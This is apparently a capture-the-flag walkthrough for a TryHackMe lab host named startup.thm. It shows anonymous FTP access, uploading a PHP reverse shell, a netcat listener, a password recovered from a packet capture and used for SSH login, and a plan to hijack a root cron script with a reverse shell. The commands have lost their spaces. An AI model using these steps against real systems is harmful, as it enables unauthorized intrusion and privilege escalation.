Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
suecho"10.10.196.181 startup.thm">>/etc/hostsmkdirthm/startup.thmcdthm/startup.thmmkdir{nmap,content,exploits,scripts}# At the end of the room# To clean up the last line from the /etc/hosts filesed-i'$ d'/etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix, while Windows systems usually have a TTL of 128 secs.
2.1 - What is the secret spicy soup recipe?
Of course, start to check information scanning open ports:
We see that port 21 has anonymous login allowed with accessible files, jump in and get files!
cat notice.txt
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
That's a pretty info, Maya can be an username!
Using gobuster we try to find hidden path
The best solution is to create a .php reverse shell and put in ftp folder via FTP
We copy php-reverse-shell.php just ready from php webshells folder
cp/usr/share/webshells/php/php-reverse-shell.php.
and custom it using our IP and Port:
anophp-reverse-shell.php
Rename it:
mvphp-reverse-shell.phpshell.php
and put in ftp folder via FTP:
and start netcat on the same reverse shell port (444):
nc-lvnp444
Now, we're in! Check flags here..
We see an interesting file "recipe.txt", and we find information that we need!
catrecipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.
love
Task 3 - What are the contents of user.txt?
We quickly try to find user.txt flag using find command:
find/-typef-inameuser.txt2>/dev/null
but we don't find anything! Then we need to explore files or escalate privileges
We notes an interesting dir called: incidents, with suspicious.pcapng (wireshark ext), we try to get it, but permission is denied!
Then, we can use netcat to open a new connection and transfer it:
We can analyze susp.pcap file using wireshark or strings:
stringssusp.pcap
We see this psw: c4ntg3t3n0ughsp1c3 we can try to use it!
sshlennie@startup.thm
lennie@startup.thm's password: Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-190-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage44 packages can be updated.30 updates are security updates.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.$ lsDocuments scripts user.txt$ cat user.txt
We see that planner.sh will be run as root (with a cron job), and use /etc/print.sh with lennie permission, we can modify it inserting a reverse shell as payload: